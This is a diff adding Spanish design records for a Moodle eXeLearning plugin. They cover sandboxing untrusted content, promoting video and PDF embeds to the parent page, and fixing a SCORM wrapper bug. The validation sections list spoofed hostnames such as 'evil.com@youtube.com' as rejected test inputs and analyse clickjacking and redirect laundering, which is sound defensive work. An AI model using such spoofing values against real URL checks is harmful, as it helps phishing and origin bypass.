+- Toggle de admin para un CSP estricto (cerrar exfiltración del token por img/script a
+  costa de contenido externo).
+- Ruta B (subdominio dedicado eTLD+1 + reverse-proxy) como aislamiento máximo, fuera del
+  plugin (DEC-0-16 M7 Route B).
+- Confirmar en CI la matriz PHPUnit/Behat y, si procede, un escenario Behat de grading
+  en modo secure (entrando al frame del paquete).
diff --git a/research/decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md b/research/decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md
new file mode 100644
index 0000000..1ed8d01
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md
@@ -0,0 +1,305 @@
+---
+id: DEC-80-03
+title: "Embeds externos en modo seguro: promover YouTube/Vimeo/PDF al padre (overlay inline) — standalone, sin subdominio"
+status: Accepted
+date: 2026-06-14
+tracking_issue: 80
+legacy_id: DEC-0061
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - RIE-001
+related:
+  adrs: [DEC-80-01, DEC-80-02]
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-03: Embeds externos en modo seguro: promover YouTube/Vimeo/PDF al padre (overlay inline) — standalone, sin subdominio
+
+## Contexto
+
+El modo seguro ([[DEC-80-01]] + [[DEC-80-02]]) sirve el `.elpx` en un iframe de **origen opaco**
+(`sandbox` sin `allow-same-origin`, servido por `tokenpluginfile`), de modo que el HTML/JS no
+confiable del autor no puede leer la sesión/DOM de Moodle. El precio es que **el contenido externo
+embebido deja de funcionar**:
+
+- **YouTube/Vimeo salen EN BLANCO.** La flag de sandbox se **propaga al iframe anidado** del player,
+  que pierde su origen `youtube.com`/`vimeo.com` y no arranca. Verificado empíricamente y por la
+  especificación HTML; no hay primitiva de navegador (credentialless, fenced frames, COEP/COOP,
+  `referrerpolicy`…) que lo arregle desde dentro del sandbox.
+- **Los PDF tampoco renderizan.** Chrome bloquea su visor (PDFium) en un iframe sandboxed sin
+  `allow-same-origin`. Afecta a PDF remotos **y** a los empaquetados en el `.elpx`.
+
+Cómo lo resuelven otros: Moodle (filter/media) y la mayoría de plugins **embeben YouTube directo, sin
+sandbox**, confiando en el autor; H5P no ejecuta JS de autor. La única vía "clásica" para aislar +
+embeber sería servir el contenido desde un **origen separado (subdominio)** → iframe cross-origin sin
+sandbox opaco. **erseco descartó el subdominio** (requisito: el plugin debe funcionar *standalone*) y
+descartó degradar a `legacy` para los vídeos ("hay que encontrar la forma de que se vean").
+
+## Decisión
+
+**Promote-to-parent con overlay inline.** El contenido sigue aislado en el sandbox opaco; un **shim**
+inyectado en el paquete detecta los iframes de hosts en **lista blanca** (vídeo) o con ruta `.pdf`,
+los sustituye por un **placeholder** del mismo tamaño y **reporta su geometría** al padre por
+`postMessage`. Un **relay** en la página de Moodle (contexto de confianza) **valida + reconstruye** la
+URL y **superpone el reproductor real** —que él renderiza en su propio contexto, con origen real, así
+que funciona— **en el sitio exacto** del placeholder, sincronizado con el scroll. El player es
+cross-origin (o un PDF del paquete servido como `application/pdf`) y no puede tocar el host; la lista
+blanca + la validación estricta impiden que el contenido haga al padre cargar una URL arbitraria.
+
+| Pieza | Cambio |
+|---|---|
+| `js/exe_embed_shim.js` (nuevo) | Corre DENTRO del iframe. Se **auto-activa solo en origen opaco** (`isOpaqueOrigin()`: `document.cookie` lanza / `window.origin==='null'`), así que el mismo fichero horneado queda **dormido en modo legacy**. Reemplaza iframes whitelisted/`.pdf` por un placeholder (`data-exe-embed-id` + url **absoluta**, resuelta contra la ubicación del contenido, mismo w/h) y reporta `{id,url,x,y,w,h}` en load/scroll/resize/mutation (rAF). Dual-export `window.exeEmbedShim` + `module.exports` (Vitest). |
+| `js/exe_embed_relay.js` (nuevo) | Corre en el padre. Valida cada URL reportada: `new URL()`, rechaza userinfo (`@`), host exacto contra la lista, exige patrón de id (`/embed/{id}` YT, `/video/{id}` Vimeo) y **reconstruye** la URL canónica (nunca pasa la del contenido tal cual). Crea/posiciona un `<iframe>` player overlay clampado al iframe de contenido. Autentica por `event.source === iframe.contentWindow` (el origen opaco no da `event.origin` útil). |
+| `classes/local/package_manager.php` | Copia `js/exe_embed_shim.js` a `libs/exe_embed_shim.js` del paquete (plugin-owned, refrescado en cada extracción). |
+| `classes/local/scorm/scorm_injector.php` | Hornea `<script>window.__exeEmbedWhitelist=…</script>` + `<script src="libs/exe_embed_shim.js">` al inicio del `<head>` de **todo** HTML del paquete (marker `embed-shim`, idempotente). Independiente del bridge SCORM (reusa la misma iteración de extracción, [[DEC-71-01]]). |
+| `classes/local/ui/player_iframe.php` | `embed_whitelist()` + `DEFAULT_EMBED_HOSTS` (YouTube/Vimeo). La CSP ya permitía `frame-src 'self' $siteorigin https:`. |
+| `view.php` | Inyecta el relay **inline** en el bloque `if ($securemode)` (independiente de SCORM, para todo paquete seguro), igual que el relay del bridge, para que su listener esté instalado antes de que cargue el iframe. |
+
+Decisiones de diseño confirmadas por erseco:
+
+1. **UX = overlay inline, NO modal/lightbox** ("aunque tengamos el riesgo debería ser inline"). El
+   player se ve en su sitio y se reproduce ahí; con scroll el overlay sigue al hueco.
+2. **PDFs = los locales del paquete siempre + cualquier `https` `.pdf`** (regla por extensión, sin
+   lista blanca de host para PDF). **Invariante de seguridad:** un `.pdf` *same-origin* solo se
+   renderiza si pertenece a este paquete (su path está bajo el directorio del contenido **o** contiene
+   el hash del paquete como segmento). Como `tokenpluginfile` sirve los ficheros del paquete por
+   extensión (`application/pdf`) con `X-Content-Type-Options: nosniff`, un `.pdf` del paquete nunca es
+   HTML ejecutable; y una URL same-origin ajena (p.ej. `/admin/x.pdf`) se rechaza.
+3. **`referrerpolicy`** del player: `strict-origin-when-cross-origin` para vídeo (evita YouTube Error
+   153), `no-referrer` para PDF. El iframe de CONTENIDO mantiene su `no-referrer`.
+4. **Solo en secure.** En legacy el contenido es same-origin, el shim queda dormido y los players ya
+   van inline.
+
+Lista blanca por defecto: `www.youtube.com`, `youtube.com`, `www.youtube-nocookie.com`,
+`youtube-nocookie.com`, `player.vimeo.com`, `vimeo.com`.
+
+## Consecuencias
+
+- El modo seguro deja de **degradar la UX** del contenido que abre recursos externos: YouTube, Vimeo y
+  PDF (remotos y empaquetados) se ven inline sin sacrificar el aislamiento ni exigir un subdominio.
+- Las imágenes y el vídeo HTML5 externos ya cargaban por CSP (`img-src/media-src … https:`); esto solo
+  añade los casos que el sandbox rompía (iframes de player + PDF).
+- La feature pertenece a la **familia eXeLearning**: el mismo JS (shim + relay, misma lógica) está en
+  wp-exelearning (PR #56) y omeka-s-exelearning (PR #21). Diferencia de cableado: **mod hornea** el
+  shim en la extracción y **inlina** el relay en `view.php`; wp/omeka lo inyectan a la hora de servir.
+- El bridge SCORM ([[DEC-80-01]]) no se ve afectado: usa otro tipo de mensaje (`scorm` vs `exe-embed`)
+  y su relay sigue independiente.
+
+## Riesgos
+
+- **Clickjacking del overlay (aceptado por erseco).** El player se superpone al área del contenido.
+  Mitigaciones: el overlay lo **controla el padre** (el contenido solo reporta geometría + URL, no
+  inyecta nada), se **clampa a los límites del iframe de contenido** (no puede cubrir la toolbar/UI de
+  Moodle) y el player es **cross-origin** (no puede leer ni clicar el host). Geometría absurda
+  (no finita) se descarta.
+- **Render de URL arbitraria por el padre** → contenida por la lista blanca de host + reconstrucción
+  de URL + rechazo de userinfo/patrón (salvaguarda de RIE-001, familia del modo seguro). Para PDF, la
+  apertura es a un visor (no ejecuta como la página) y el caso same-origin queda atado a ficheros del
+  propio paquete.
+- **`targetOrigin: '*'`** en el `postMessage` del shim: aceptable porque no viaja ningún secreto y el
+  padre autentica por `event.source` (el origen opaco no ofrece `event.origin` usable).
+
+## Validación
+
+- **Vitest** `tests/js/exe_embed.test.js` (14 tests): el validador acepta `youtube.com/embed/{id}`,
+  `youtube-nocookie`, `player.vimeo.com/video/{id}` y **reconstruye** la URL canónica; **rechaza**
+  `youtube.com.evil.com`, `evil.com@youtube.com`, esquema no-https, id inválido; PDF cross-origin
+  `https` se acepta, PDF same-origin solo si es del paquete (dir/hash), `/admin/x.pdf` se rechaza; el
+  shim produce placeholder para video/PDF y deja intacto un iframe no permitido.
+- **Regresión SCORM (que no se rompa la puntuación)** — el modo seguro ahora carga **a la vez** el
+  bridge SCORM y el shim/relay de embeds; deben convivir:
+  - Vitest `tests/js/embed_scorm_coexistence.test.js` (4 tests): los 5 globals (tracker + shim/relay
+    SCORM + shim/relay embed) quedan definidos y distintos (sin pisarse); el relay SCORM **sigue
+    aceptando** un mensaje `track` (`acceptTrack` con nonce correcto) con los módulos de embed
+    cargados, y rechaza el nonce erróneo; ambos canales se ignoran mutuamente (`scorm` vs `exe-embed`).
+  - PHPUnit en el contenedor vivo (`make test` / `phpunit-docker.sh`): **119 tests OK** sobre
+    `track_test` (endpoint que **guarda la puntuación**), `scorm_injector_test` (mi cambio: hornea
+    bridge + embed, idempotente), `grades_test`/`lib_grades_test`/`gradeitems_test`/`grademodel_test`.
+- **PHPUnit** `tests/local/scorm/scorm_injector_test.php`: asserts de que el marker `embed-shim`, el
+  global `__exeEmbedWhitelist` y `libs/exe_embed_shim.js` se hornean en `index.html` y en las páginas
+  anidadas (`../libs/…`), idempotente, **sin perder** el bridge SCORM ni el wrapper pipwerks.
+- **`phpcs --standard=moodle`** 0/0 sobre `player_iframe.php`, `package_manager.php`,
+  `scorm_injector.php`, `view.php` y los tests.
+- **Verificación en vivo** (contenedor `mod_exelearning_3-moodle-1`, `iframemode=secure`):
+  - **Embeds**: una actividad desde `research/fixtures/elpx/external-embeds-demo.elpx` renderiza
+    **4 players inline** (YouTube, Vimeo, PDF remoto y **PDF local del paquete**) sobre el iframe de
+    contenido opaco (servido por `tokenpluginfile`); el iframe `example.com` NO se promueve.
+  - **SCORM scoring (lo más importante)**: respondido un iDevice calificable, el endpoint real
+    `track.php` devuelve `{"ok":true,"attempt":1,"rawscore":100,"status":"completed","peritem":{"1":100,"2":100}}`;
+    quedan 3 filas en `exelearning_attempt` (overall + 2 ítems), el gradebook marca `finalgrade=100` en
+    ambos ítems, el informe de intentos lista el intento y la actividad pasa a "Hecho: recibir
+    calificación". **El shim de embeds NO rompe el scoring** (es independiente del bridge).
+- **Bug encontrado y corregido en la prueba en navegador**: mod sirve los assets del paquete con URLs
+  **relativas** (a diferencia del proxy de wp/omeka que reescribe a absolutas), así que el shim debe
+  **reportar la URL ABSOLUTA** (resuelta contra la ubicación del contenido) — el relay del padre no
+  puede resolver una relativa (la resolvería contra la página host). Fix en el shim de los 3 plugins +
+  test de regresión Vitest (`exe_embed.test.js`: una src relativa se reporta absoluta).
+- **Fixtures**: `research/fixtures/elpx/{youtube-embed,vimeo-embed,external-embeds-demo}.elpx` (el
+  último con PDF remoto + PDF local empaquetado + imagen/vídeo remotos + un iframe no-whitelist).
+
+## Actualización (2026-06-14): re-validación con export real, proveedores, tokens y fix de navegación
+
+### Re-validación de la NECESIDAD con un export real
+Las fixtures sintéticas iniciales (`index.html` a mano) no eran representativas. Con un **export real
+de eXeLearning** (`research/fixtures/elpx/remote-embeds.elpx`: `index.html` + `html/{vimeo,
+mediatecamadrid,remote-pdf}-embed.html`) se repitió el experimento de control en mod (secure):
+- shim **activado** → el vídeo de YouTube renderiza y reproduce;
+- shim **desactivado** (control) → caja en **blanco**.
+
+Causa confirmada en 4 ejes: (1) **no es CSP** — `frame-src 'self' … https:` permite YouTube
+(`player_iframe.php:171`), sin error CSP en consola; (2) es la **propagación del origen opaco** al
+iframe anidado del player; (3) por especificación un contexto de navegación anidado no puede tener
+*menos* restricciones que su padre; (4) lo único que lo "arregla" es `allow-same-origin`, que rompe el
+aislamiento. **No hay alternativa más simple que preserve la seguridad: el overlay promote-to-parent es
+la solución mínima.** (La duda razonable de erseco quedó así verificada, no asumida.)
+
+### Proveedores añadidos
+**Dailymotion** (`www/geo.dailymotion.com`, embed `/embed/video/{id}`) y **EducaMadrid / Mediateca de
+Madrid** (`mediateca.educa.madrid.org`, embed `/video/{id}/fs`), cada uno con validador por proveedor
+que **reconstruye** la URL canónica (nunca pasa la del contenido tal cual). Verificado en vivo
+(EducaMadrid renderiza inline en mod y omeka).
+
+### Alineación de tokens del sandbox (los 3) + fix de CSP oculto
+Token seguro canónico = `allow-scripts allow-popups allow-forms` (los iDevices de eXe usan
+formularios). wp/omeka **no tenían `allow-forms`** ni en el atributo del iframe ni — más grave — en la
+**directiva CSP `sandbox`** del contenido servido (`class-content-proxy.php`, `ContentController.php`,
+hardcodeadas). Sin `allow-forms` en la CSP, el envío de formularios se bloquea aunque el iframe lo
+permita (el sandbox efectivo es la *intersección* de ambos). Corregido en los dos + tests. Legacy
+alineado a `…allow-forms allow-popups-to-escape-sandbox`.
+
+### Bug de navegación entre páginas (reportado por erseco) + fix
+Al paginar contenido eXe multi-página, el embed de la página anterior **quedaba pegado** en la nueva
+(p.ej. YouTube persistía en la página de Vimeo, reescalado a su caja). Causa: el shim **reinicia su
+contador de id por página**, así que el primer embed de cada página reusa `exe-embed-1`; el relay
+reutilizaba el player existente y solo lo reposicionaba, **sin actualizar su `src`**. Reproducido en
+vivo (la altura cambiaba a la de Vimeo pero el `src` seguía en YouTube). Fix: cada player se etiqueta
+con `data-exe-embed-src`; en `sync()` se **reemplaza** cuando un id reusado apunta a otra URL. Test de
+regresión Vitest + verificado en vivo en los 3 (mod: youtube→vimeo→mediateca→pdf cambian limpiamente;
+wp y omeka, idem; el atributo del fix presente en el relevo servido).
+
+### Anti-drift
+La lógica de shim/relay es idéntica en los 3 (solo cambia el envoltorio de export). mod es la **fuente
+canónica** (`js/exe_embed_{shim,relay}.js`); wp/omeka llevan cabecera "MIRROR". `tools/check-embed-sync.mjs`
+normaliza y compara la lógica + whitelist + tokens de las 3 copias y sale ≠0 si divergen (herramienta
+de mantenimiento local, no gate CI cross-repo: no hay infra compartida).
+
+### Limitación conocida: iDevice de vídeo interactivo con fuente remota
+El iDevice **vídeo interactivo** con fuentes remotas (YouTube/EducaMadrid) usa la **YouTube
+IFrame Player API** (`new YT.Player` + `getCurrentTime`/`pauseVideo`/`seekTo`, 8 llamadas de
+control en `idevices/interactive-video/interactive-video.js`) para pausar el vídeo y mostrar
+preguntas cronometradas. En modo seguro esto **no funciona**: (1) en origen opaco el player
+de YouTube no renderiza dentro del iframe; (2) promoverlo al padre (promote-to-parent) lo
+**desacopla del control** del iDevice, que vive en el hijo opaco → sin pausa/seek/tiempo, las
+preguntas no disparan.
+
+Se prototipó un **bridge de control YT** en el embedder (un `window.YT` falso en el hijo que
+proxyea a un player real en el padre). Verificado en vivo: el vídeo **reproduce** y la
+pregunta **aparece y se responde** en el segundo configurado. Pero **reconstruir el layout
+del iDevice desde el padre — portada/`Inicio`, `float:left` de `#player` al activar
+(`interactive-video.css` `.active #player{float:left}`), la posición de cada slide — es
+frágil** (el vídeo aterriza mal y el solapamiento vídeo/pregunta no cuadra). **Decisión
+(erseco): NO mantener el bridge en el embedder** (revertido, no commiteado).
+
+- **Estado en secure:** vídeo interactivo con fuente **remota** → usar **modo legacy**. Con
+  fuente **local** (archivo del paquete, HTML5 `<video>`) funciona en secure (corre en el
+  marco, sin player cross-origin).
+- **Arreglo correcto (pendiente upstream):** está en el **iDevice de eXeLearning**, que conoce
+  su propio layout: detectar origen opaco (`window.origin==='null'`) y o bien **degradar** (embed
+  simple → lo promociona el shim existente, sin interactividad) o **conducir él mismo** un relay
+  del padre. Más simple y robusto que parchear en los 3 embedders.
+
+## Actualización (2026-06-14b): invariante estructural — embeds sin lista blanca (open por defecto)
+
+### Reversión razonada del "sin whitelist no es seguro"
+La actualización anterior concluyó "sin lista blanca no es seguro" por analogía con Moodle media / WP
+oEmbed. **Esa conclusión era incorrecta para ESTE modelo de amenaza y se corrige.** Moodle/WP embeben
+en páginas de CONFIANZA same-origin; aquí el contenido es NO confiable + opaco, y el player promovido es
+**cross-origin y sandboxeado**, así que la SOP lo aísla del LMS **independientemente del host**. El host
+es irrelevante para el ESCAPE; la lista blanca solo mitigaba **phishing/tracking** (marginal: el
+contenido sandboxed ya puede mostrar HTML falso, hacer POST de formulario cross-origin y cargar img de
+tracking). Lo propone el artículo de seguridad (§6.3) y lo confirma una revisión adversaria (agente
+Plan, read-only): **"SÍ, con condiciones"**.
+
+### Decisión: invariante estructural + modo `open` por defecto
+- Ajuste `mod_exelearning/embedmode`: **`open` (def.)** promueve cualquier iframe `src` **https +
+  cross-origin al LMS**; **`strict`** mantiene la lista blanca + reconstrucción por proveedor (para
+  despliegues donde ni el autor es de fiar). Fail-safe a `strict` ante valor inválido; default real
+  `open`. Esto **obvia** la idea de "whitelist configurable por admin".
+- `validate()` (relay) exige: parsear URL **absoluta** (NO resolver relativas contra el LMS — heredarían
+  su origen); `https:`; sin userinfo (`url.username/password`); cross-origin (`url.origin !==
+  window.location.origin`); no subdominio/superdominio del host del LMS (límite por punto en ambos
+  sentidos); no IP/IPv6/loopback/`localhost`/`.local`; host no vacío. PDF: cualquier https cross-origin
+  o fichero same-origin del paquete.
+- El shim promueve cualquier https cross-origin (+ `.pdf`) como candidato; el **relay** es la puerta
+  autoritativa (ya no hay lista de hosts en el shim).
+
+### Condiciones de seguridad (todas implementadas + verificadas)
+- **Player de vídeo SANDBOXEADO**: `sandbox="allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation"` (SIN `allow-top-navigation` ni `allow-modals`). `allow-same-origin` va en el
+  iframe **cross-origin** (el proveedor conserva SU origen, no el del LMS) → renderiza y la SOP lo
+  aísla; es lo que permite sandboxearlo y **bloquear el top-navigation** (un sitio arbitrario no puede
+  redirigir la pestaña). **NO** es el `allow-same-origin` prohibido del iframe de CONTENIDO (cuyo src ES
+  el origen del LMS). Verificado en vivo: YouTube, Vimeo y EducaMadrid/JWPlayer renderizan bajo él.
+- **D1 (redirect-laundering)**: guard `load` que elimina el player si aterriza **same-origin** al LMS
+  (un `src` cross-origin que haga 30x al origen del LMS sería, con `allow-same-origin`, scriptable).
+- **D2 (impersonación)**: los players se marcan `data-exe-embed-player` y `frameForSource`/`pingAll` los
+  excluyen → un player sandboxeado no puede forjar un mensaje `sync` y hacerse pasar por contenido.
+- **PDF SIN sandbox**: el visor PDF del navegador **no funciona dentro de un iframe sandbox** (icono de
+  error; verificado), así que se deja **sin sandbox** (y por tanto sin `allow-same-origin`) como antes
+  de DEC-80-03 (los PDF ya eran "cualquier https .pdf"). El guard D1 sigue aplicando a PDFs cross-origin.
+  Residual documentado: un servidor que sirva HTML en una ruta `.pdf` podría ejecutar scripts ahí
+  (pre-existente, bajo). **pdf.js** (que eXe empaqueta) NO es viable en el contenido opaco (su `fetch`
+  desde origen `null` está bloqueado por CORS, incl. `tokenpluginfile`); queda como mejora futura para
+  PDFs locales servida desde el padre.
+- **Sin backstop CSP en el padre**: una directiva `frame-src` en la página completa de Moodle podría
+  romper iframes propios de Moodle, así que no se añade; el guard D1 + el sandbox son los controles.
+
+### Verificación
+- Vitest `tests/js/exe_embed.test.js` reescrito (open + strict + helpers IP/subdominio + sandbox del
+  player + D2 forged-message). Suite JS **92/92**. `tools/check-embed-sync.mjs` con invariantes
+  estructurales, **0 drift**.
+- En vivo (mod localhost:80, modo `open`): YouTube/Vimeo/EducaMadrid/PDF renderizan, el player lleva el
+  sandbox correcto (`data-exe-embed-player`), y navegar entre páginas cambia el player (fix de nav).
+
+## Actualización (2026-06-28): dos problemas ortogonales + evolución a [[DEC-80-07]]
+
+Al reanudar el trabajo de medios externos conviene **separar con claridad dos problemas** que se
+confunden a menudo (una síntesis automática los mezcló como si `referrerpolicy` arreglara el opaco):
+
+- **Problema A — propagación del sandbox (el de este ADR).** El `sandbox` sin `allow-same-origin` se
+  propaga al iframe anidado del player → pierde su origen `youtube.com`/`vimeo.com` y queda **en blanco**.
+  Lo arregla **únicamente** promover el player fuera del opaco (el overlay de este ADR). **`referrerpolicy`
+  NO lo arregla** (W3C Referrer Policy: origen opaco ⇒ sin referrer). Es lo que esta entrada verificó.
+- **Problema B — Error 153 / referrer.** Independiente del sandbox: ocurre incluso sin sandbox cuando el
+  host envía `Referrer-Policy: no-referrer` y el `<iframe>` no lleva `referrerpolicy`. Lo arregla el
+  **atributo `referrerpolicy`** del player (precedencia element-level sobre la cabecera de la página). Ya
+  presente aquí (punto 3 de la Decisión, `strict-origin-when-cross-origin`). Caso real (red Medusa,
+  Humberto ATE): la infra fijaba `no-referrer` **y Jetpack eliminaba el atributo** del embed → desactivar
+  esa función de Jetpack lo resolvía. Lección host: no dejar que un sanitizador elimine `referrerpolicy`.
+
+Es decir: este ADR ya resuelve **A** (overlay) y **B** (referrerpolicy), por lo que el **vídeo simple ya
+se ve en opaco**. Lo que queda abierto se decide en **[[DEC-80-07]]**: (i) **endurecer el trust model** del
+relay (nonce por vista + `MessageChannel` con capability + cruzar sólo `{provider, videoId}`), alineándolo
+al bridge de eXeLearning sin abandonar el overlay inline; (ii) **arreglar el vídeo interactivo remoto**
+—la **limitación** documentada arriba (líneas 187-210)— **modificando el iDevice** de eXeLearning para que,
+en origen opaco, conduzca su control (play/pause/seek/time + hide/show) por el bridge endurecido. Clave:
+como el overlay mantiene el player en la geometría del `#player`, **la layout del iDevice permanece en el
+hijo** y no se reconstruye en el padre (que es lo que hizo frágil el prototipo revertido).
+
+Notas: **Vimeo por dominio** valida el host del Referer; con el player en el padre (origen del LMS) +
+`referrerpolicy=strict-origin-when-cross-origin`, la privacidad por dominio funciona **si** el dominio del
+LMS está en la lista blanca de Vimeo. El **teacher-mode** ya no se oculta por inyección sino por el
+parámetro core `?exe-teacher` ([[DEC-80-06]]), compatible con el origen opaco.
+
+## Seguimiento
+
+- UI de admin para editar la lista blanca (hoy constante; configurable por filtro/ajuste como
+  seguimiento, igual que en wp/omeka).
+- Paridad mantenida con wp-exelearning (PR #56) y omeka-s-exelearning (PR #21): el JS shim/relay es la
+  misma lógica en los tres.
+- Independiente de TAREA-015 (xAPI) y TAREA-016 (origen por URL): el origen separado por URL sigue
+  siendo una alternativa válida para quien lo quiera, pero ya no es **necesaria** para ver vídeos/PDF.
diff --git a/research/decisiones/adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md b/research/decisiones/adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md
new file mode 100644
index 0000000..89e4732
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md
@@ -0,0 +1,146 @@
+---
+id: DEC-80-04
+title: "Fix: el bridge SCORM seguro nunca guardaba nota porque el get() de pipwerks no miraba la ventana local"
+status: Accepted
+date: 2026-06-14
+tracking_issue: 80
+legacy_id: DEC-0062
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-002
+experiments: []
+related:
+  adrs: [DEC-80-01, DEC-80-02, DEC-5-01, DEC-13-11]
+see_also:
+  - RIE-001
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-04: Fix: el bridge SCORM seguro nunca guardaba nota porque el get() de pipwerks no miraba la ventana local
+
+## Contexto
+
+`DEC-80-01` implementó el bridge SCORM por `postMessage` con el iframe en **origen
+opaco** (modo `secure`, por defecto). Su pieza clave ("el linchpin") era inyectar un
+`window.API` (shim) DENTRO del iframe para que el pipwerks empaquetado lo descubriese
+**sin tocar el padre** cross-origin.
+
+Al verificar en vivo (`localhost:80`, modo `secure`) que la puntuación SCORM se
+guardaba, erseco reportó que **NO se guardaba**: contestar una pregunta y pulsar
+"Guardar la puntuación" no creaba ningún intento en `exelearning_attempt` ni llegaba
+ninguna petición a `track.php`. En modo `legacy` sí se guardaba. La "verificación"
+previa de DEC-80-01 había usado un POST directo a `track.php` que **saltaba el bridge**,
+enmascarando el fallo.
+
+## Problema
+
+¿Por qué en modo `secure` el SCO nunca persiste la nota, si el shim sí inyecta
+`window.API` en el iframe y el handshake del bridge (`ready`→`config`) funciona?
+
+## Hechos verificados (con cita)
+
+Diagnóstico en vivo instrumentando el shim del iframe opaco (no observable desde fuera)
+y emitiendo el estado de pipwerks por `postMessage` al padre. Resultados decisivos sobre
+una actividad evaluable real en modo `secure`:
+
+1. **El shim funciona:** `window.API === shim` (`apiIsShim:true`), el handshake llega
+   (sin "secure blocked"), `pipwerks` cargó (`typeof === 'object'`).
+2. **Pero la conexión nunca se activa:** `pipwerks.SCORM.connection.isActive === false`,
+   `pipwerks.SCORM.version === null`, `pipwerks.SCORM.API.isFound === false`,
+   `pipwerks.SCORM.API.handle == null`, y `LMSInitialize` **nunca se llamó** (contador
+   0). Por tanto `LMSSetValue`/`LMSCommit` del guardado son no-ops silenciosos → 0 filas.
+3. **Causa raíz — `get()` lanza `SecurityError` y nunca mira la ventana local.**
+   Forzando `pipwerks.SCORM.API.get()` desde el shim:
+   `"SecurityError: Failed to read a named property 'API' from 'Window': Blocked a frame
+   with origin \"null\" from accessing a cross-origin frame."`
+   El `get()` vendado (`assets/scorm/SCORM_API_wrapper.js:130-150`, **modificado**
+   respecto al pipwerks estándar) arrancaba directamente en el **padre** y **omitía la
+   ventana actual**:
+   ```js
+   if (win.parent && win.parent != win) { API = find(win.parent); }  // ← sin find(win)
+   if (!API && win.top.opener) { API = find(win.top.opener); }
+   ```
+   - En `legacy` el padre es same-origin (Moodle, con `window.API`) → funciona.
+   - En `secure` el padre es opaco/cross-origin → `find(win.parent)` accede a
+     `parent.API` y lanza `SecurityError` → `init()` revienta (lo traga su `catch`) →
+     `isActive` se queda en `false` → nada se guarda.
+4. **El "linchpin" de DEC-80-01 verificó la función equivocada.** DEC-80-01 §"Hechos
+   verificados" (1) cita `find(win)` (`SCORM_API_wrapper.js:71-106`), que sí parte de la
+   ventana actual. Pero el punto de entrada real es `getHandle()`→`get()`, y **este
+   `get()` no llamaba a `find(window)`**. La premisa "pipwerks descubre el `window.API`
+   local antes de subir" era cierta para `find()` pero **falsa para `get()`**, que es
+   quien decide. El origen opaco del modo `secure` nunca fue alcanzable.
+5. **No hay doble pipwerks.** El export de eXeLearning sólo **usa** `pipwerks.SCORM.get/
+   set` (`libs/common.js:945,1175`); el único `pipwerks` es el vendado por mod
+   (`var pipwerks = {}`), inyectado por `scorm_injector`. Descartado como causa.
+
+## Causa raíz
+
+El `get()` vendado de pipwerks fue alterado en algún momento para mirar **sólo el
+padre** y saltarse la ventana actual. Eso es exactamente incompatible con la
+arquitectura de DEC-80-01, que provee el API **localmente** en un iframe cuyo padre es
+**inalcanzable** por opaco.
+
+## Decisión
+
+Restaurar en `assets/scorm/SCORM_API_wrapper.js` el orden estándar de pipwerks en
+`get()`: **mirar primero la ventana actual** (`find(win)`) y sólo después subir al padre
+/ opener, **envolviendo cada salto cross-origin en `try/catch`** para que un ancestro
+opaco no pueda abortar la búsqueda nunca más.
+
+```js
+try { API = find(win); } catch (e) { trace(...); }                       // ventana local primero
+if (!API && win.parent && win.parent != win) {
+  try { API = find(win.parent); } catch (e) { trace(...); }              // fallback same-origin (legacy)
+}
+try { if (!API && win.top && win.top.opener) { API = find(win.top.opener); } } catch (e) { trace(...); }
+```
+
+- **`secure`:** `find(win)` encuentra el `window.API` del shim de inmediato (el bucle de
+  `find` no sube porque `win.API` existe) → `init()` activa la conexión → el guardado
+  fluye shim → `postMessage('track')` → relevo → `track.php` → BD.
+- **`legacy`:** sin API local, `find(win)` **sube** al padre same-origin y devuelve su
+  `window.API`, idéntico al comportamiento previo (equivalencia probada en test).
+
+Cambio mínimo y acotado a `get()`; no se toca `find()`, ni el shim, ni el relevo, ni el
+inyector, ni BD/upgrade.
+
+## Consecuencias
+
+- **Positiva:** el modo `secure` por defecto (DEC-80-01/DEC-80-02) **por fin guarda la
+  nota SCORM** de extremo a extremo; el "linchpin" que DEC-80-01 daba por hecho ahora se
+  cumple de verdad. El aislamiento de RIE-001 se mantiene intacto (el `sesskey` sigue en
+  el padre; el contenido sigue sin alcanzarlo).
+- **Endurecimiento:** `get()` ya no puede lanzar por un ancestro opaco; degrada a `null`
+  con traza, como manda el contrato de pipwerks.
+- **Sin regresión en `legacy`:** la búsqueda sigue resolviendo al `window.API` del padre
+  same-origin (sube por `find`), verificado por test unitario.
+
+## Validación
+
+- **Vivo (`localhost:80`, modo `secure`):** tras contestar + "Guardar la puntuación", se
+  escriben las filas reales en `exelearning_attempt` (`rawscore=100.00`,
+  `status=completed`/`passed`) y el bridge emite `track` (`hasCmi:true`). Antes del fix:
+  0 filas, 0 `track`.
+- **Vitest** `tests/js/scorm_api_wrapper.test.js` (nuevo, 6 casos, verde): `get()`
+  devuelve el API **local** y no el del padre (regresión del bug); `get()` no lanza con
+  padre opaco y encuentra el local; `get()` devuelve `null` sin lanzar cuando no hay API
+  y el padre es opaco; `get()` sigue subiendo a un padre same-origin sin API local
+  (legacy); `init()` activa la conexión vía API local con padre opaco; `set()` llega al
+  API local una vez activa (la nota se guarda). Suite JS completa **87/87**.
+- **phpcs/PHPUnit/Behat**: el fix es JS vendado (sin PHP); se confirma en CI.
+
+## Seguimiento
+
+- **Test de regresión vendado:** este ADR introduce el primer test Vitest sobre
+  `assets/scorm/*` (declarado "fuera de alcance" en `vitest.config`), justificado por ser
+  crítico para la nota. No cuenta para cobertura (`include: ['js/**']`); es guardia de
+  comportamiento.
+- **Lección para DEC-80-01:** verificar el **punto de entrada real** (`getHandle`/`get`),
+  no sólo la función auxiliar (`find`), antes de declarar un linchpin.
+- Posible follow-up: un Behat `@javascript` de grading que corra en modo `secure` real
+  (no sólo el paso server-side) habría cazado esto antes; queda recomendado.
diff --git a/research/decisiones/adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md b/research/decisiones/adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md
new file mode 100644
